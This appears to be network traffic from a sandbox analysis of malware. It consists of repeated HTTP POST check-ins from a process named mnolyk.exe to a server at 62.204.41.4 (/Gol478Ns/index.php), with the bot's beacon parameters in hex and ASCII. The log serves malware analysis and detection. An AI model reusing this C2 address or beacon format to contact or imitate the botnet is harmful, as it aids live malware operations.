Feb 8, 2023 21:33:28.016338110 CET	644	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:28.082880974 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
445	192.168.2.3	50148	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:28.265922070 CET	645	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:28.330866098 CET	645	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
446	192.168.2.3	50149	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:28.513257980 CET	646	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:28.578936100 CET	646	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
447	192.168.2.3	50150	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:28.749109983 CET	647	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:28.811218977 CET	647	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
448	192.168.2.3	50151	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:28.985342026 CET	648	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:29.049519062 CET	648	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
449	192.168.2.3	50152	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:29.219203949 CET	649	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:29.281686068 CET	649	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49747	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:27.935502052 CET	246	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:28.000261068 CET	246	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
450	192.168.2.3	50153	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:29.450735092 CET	650	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:29.513860941 CET	650	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
451	192.168.2.3	50154	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:29.685349941 CET	651	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:29.751245975 CET	651	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
452	192.168.2.3	50155	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:29.921926022 CET	652	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:29.986253977 CET	652	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
453	192.168.2.3	50156	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:30.159311056 CET	653	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:30.225024939 CET	653	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
454	192.168.2.3	50157	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:30.407371998 CET	654	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:30.471529961 CET	654	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
455	192.168.2.3	50158	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:30.648699045 CET	655	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:30.713618994 CET	655	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
456	192.168.2.3	50159	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:31.057502031 CET	656	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:31.123873949 CET	656	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
457	192.168.2.3	50160	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:31.348078012 CET	657	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:31.412136078 CET	657	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
458	192.168.2.3	50161	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:31.638391018 CET	658	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:31.701783895 CET	658	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
459	192.168.2.3	50162	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:32.538446903 CET	659	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:32.603301048 CET	659	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49748	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:28.171577930 CET	247	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:28.236423016 CET	247	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
460	192.168.2.3	50163	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:32.883796930 CET	660	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:32.951220036 CET	660	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
461	192.168.2.3	50164	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:34.164269924 CET	661	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:34.236401081 CET	661	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
462	192.168.2.3	50165	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:34.424796104 CET	662	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:34.491898060 CET	662	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
463	192.168.2.3	50166	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:34.675266981 CET	663	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:34.738302946 CET	663	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
464	192.168.2.3	50167	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
